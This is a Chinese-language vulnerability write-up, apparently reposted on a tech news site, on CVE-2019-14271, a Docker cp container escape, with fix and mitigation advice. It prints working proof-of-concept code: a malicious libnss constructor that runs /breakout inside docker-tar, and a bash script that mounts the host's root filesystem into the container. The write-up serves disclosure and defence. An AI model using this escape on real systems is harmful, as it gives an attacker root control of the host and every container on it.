迄今为止最严重的容器逃逸漏洞:Docker cp 命令漏洞分析

阅读数:1444 2019 年 11 月 29 日 14:04

迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析

迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析

过去几年,我们在各种容器平台上发现 copy(cp) 命令中存在多个漏洞,包括 Docker Podman Kubernetes

迄今为止,最严重的一个漏洞是今年 7 月被发现和披露的。而该漏洞发布时,并没有立即引起太多关注,可能是由于 CVE 描述不明确,并且缺少已经发布的漏洞利用方式。

CVE-2019-14271 是一个 Docker cp 命令实现中存在的安全问题。一旦被攻击者利用,可能导致容器的完全逃逸。自今年 2 月发现严重的 runC 漏洞以来,这是后续发现的首个完整容器逃逸漏洞。

如果容器已被先前的攻击过程破坏(例如:借助其他漏洞和泄露信息等),或者当用户从不受信任的来源(例如:注册表等来源)运行恶意容器映像时,可以利用该漏洞。如果用户随后执行存在漏洞的 cp 命令,从受感染的容器中复制文件,那么攻击者就可以实现逃逸,并完全控制主机和其中的所有其他容器。

在 Docker 19.03.1 版本中,CVE-2019-14271 被标记为关键漏洞,且目前已修复。我们对该漏洞进行了研究,并对漏洞的第一个概念证明(PoC)进行了分析。

我们一直密切关注流行容器平台上存在的漏洞,在近期发现其中的复制漏洞数量有明显增长趋势。

Docker cp

Copy 命令允许从容器复制文件、复制文件到容器以及在容器之间复制文件。它的语法与标准 Unix 中的 cp 命令非常相似。如果要从容器中复制 /var/logs,需要使用的语法为:docker cp container_name:/var/logs /some/host/path.

正如我们下图所看到的,要把文件复制到容器外,Docker 借助一个名为docker-tar. 的帮助进程。

从容器中复制文件:

迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析

docker-tar 的工作原理是对文件进行 chroot(如下图所示),将请求的文件和目录放在其中,然后将生成的 tar 文件传递回 Docker 守护程序,该守护程序负责将其提取到宿主机的目标目录中。

Docker-tar chroot 进入容器:

迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析

选择 chroot 的方式,有一个主要原因是为了避免符号链接问题,当主机进程尝试访问容器上的文件时,可能会产生符号链接的问题。在这些文件中,如果包含符号链接,那么可能会在无意中将其解析为主机根目录。这就为攻击者控制的容器敞开了大门,使得攻击者可以尝试让docker cp在宿主机而非容器上读取和写入文件。

在 2018 年,有几个在 Docker 和 Podman 中发现的 CVE 漏洞是与符号链接相关的。通过进入到容器的根目录,docker-tar能确保所有符号链接都在其目录下被有效地解析。

但遗憾的是,在从容器中复制文件时,这样“扎根到容器中”的过程为更严重的漏洞埋下了伏笔。

CVE-2019-14271 漏洞分析

Docker 是使用 Golang 语言编写的。具体而言,易受攻击的 Docker 版本是使用 Go v1.11 编译而成的。

在这个版本中,某些包含嵌入式 C 语言代码(cgo)的软件包在运行时动态加载共享库。这些软件包包括netos/user,都会被docker-tar使用,它们会在运行时加载多个libnss_*.so库。

通常,这些库会从宿主机的文件系统中加载,但是由于docker-tar会 chroots 到容器中,因此它会从容器文件系统中加载库。这也就意味着,docker-tar将加载并执行由容器发起和控制的代码。

需要说明的是,除了被 chroot 到容器文件系统之外,docker-tar并没有被容器化。它运行在宿主机的命名空间中,具有所有 root 能力,并且不会受到 cgroups 或 seccomp 的限制。

有一种可能的攻击场景,是 Docker 用户从以下任一用户的位置复制一些文件:

  1. 运行包含恶意libnss_*.so库中恶意映像的容器;
  2. 受到攻击的容器,且攻击者替换了其中的libnss_*.so

在这两种情况时,攻击者都可以在宿主机上实现 root 权限的任意代码执行。

这里顺便提一个有趣的事实,这个漏洞实际上是从 GitHub 问题中发现的。该用户试图从debian:buster-slim容器中复制文件,过程中发现 docker cp 反复多次出现失败的情况。

其问题在于,这个特定的映像中不包含 libnss 库。因此,当用户运行 docker cp,且docker-tar进程尝试从容器文件系统加载它们时,会出现失败并崩溃的情况。

漏洞利用

如果要利用 CVE-2019-14271 漏洞,需要构建一个恶意的 libnss 库。我们随机选择一个libnss_files.so,下载这个库的源代码,并向其中一个源文件添加了函数run_at_link()

我还使用构造函数属性定义了该函数。构造函数属性(特定于 GCC 的语法)指示run_at_link函数在由进程加载时将作为我们所选择这个库的初始化函数执行。这意味着,当docker-tar进程动态加载我们的恶意库时,将执行run_at_link。下面是run_at_link的代码,为简洁起见有所修改。

复制代码
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}

run_at_link首先验证它是否在docker-tar上下文中运行,因为其他常规容器进程也可能会加载。该过程是通过检查/proc目录来实现的。如果run_at_linkdocker-tar的上下文中运行,那么这个目录将为空,因为/proc上的 procfs 挂载仅存在于容器挂载的命名空间中。

接下来,run_at_link将恶意的 libnss 库替换为原始库。这样就可以确保利用该漏洞运行的所有后续进程都不会意外加载恶意版本并重新触发run_at_link的执行。

然后,为了简化利用,run_at_link尝试在容器中的/breakout路径处运行可执行文件。这将允许其他的漏洞利用可以以诸如 bash 的形式编写,而不一定是 C 语言。这一过程中将其余的逻辑排除在外,也意味着我们不用针对漏洞利用中的每一处更改都重新编译恶意库,而是只需要修改 breakout 二进制文件即可。

在下面的漏洞利用视频中,一个Docker 用户运行了一个包含我们的恶意 libnss_files.so库的恶意映像,然后尝试从容器中复制一些日志。映像中的/breakout二进制文件是一个简单的 bash 脚本,该脚本将宿主机上的文件系统挂载到容器的/host_fs处,同时还将一条消息写入到宿主机的/evil中。

以下是视频中所使用的/breakout脚本的来源。为了获得对宿主机 root 文件系统的引用,脚本在/proc挂载了 procfs。由于docker-tar在主机的 PID 命名空间中运行,因此挂载的 procfs 将包含主机进程中的数据。然后,该脚本只需要挂载主机上 PID 为 1 的帐户(root)。

复制代码
#!/bin/bash
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil

漏洞修复方法

该漏洞的修复代码修复了docker-tar的 init 函数,该函数可以从存在问题的 Go 软件包中调用任意函数。这将使得docker-tar在 chroot 到容器之前,从宿主机文件系统中加载libnss库。

CVE-2019-14271 修复方法:

迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析

总结

允许在宿主机上以 root 执行代码的漏洞非常严重。因此,业务方需确认已经更新至 Docker 19.03.1 版本或更高版本,因为这些版本包含了针对该漏洞的修复。为限制此类攻击的攻击面,我们强烈建议大家不要轻易运行不受信任的映像。

除此之外,在不一定需要使用 root 用户的场景中,我们强烈建议以非 root 用户身份来运行容器。这样可以进一步提高其安全性,并能有效防范攻击者利用容器引擎或内核中可能存在的一些缺陷。

针对这个 CVE-2019-14271 漏洞,如果我们的容器使用非 root 用户运行,就能有效防范相应攻击。即使攻击者成功攻破了我们的容器,他也无法覆盖容器的 libnss 库,因为这个库仅有 root 具有权限,所以无法实现漏洞利用。

如果大家还想对此有更深入的了解,建议阅读 Ariel Zelivansky 的这篇文章,以明白以非 root 身份运行容器的安全优势。

此外,我们还可以使用安全产品或安全服务来防范此类威胁:

  1. 确保开发人员使用经过验证或经过批准的受信任映像。
  2. 借助主机漏洞扫描工具,针对当前环境中运行存在漏洞软件包的容器发出告警,并检测出当前存在的 CVE 漏洞。这样可以确保我们的容器不会运行存在漏洞的代码,并能防范 1-day 攻击。
  3. 使用运行时安全产品,识别并阻止恶意行为者访问并攻破我们的容器。(本文转自嘶吼

评论

发布
用户头像
所以在k8s中,我们上周cpFromPod 这个functiong给重写了。
2019 年 12 月 02 日 09:46
回复
没有更多了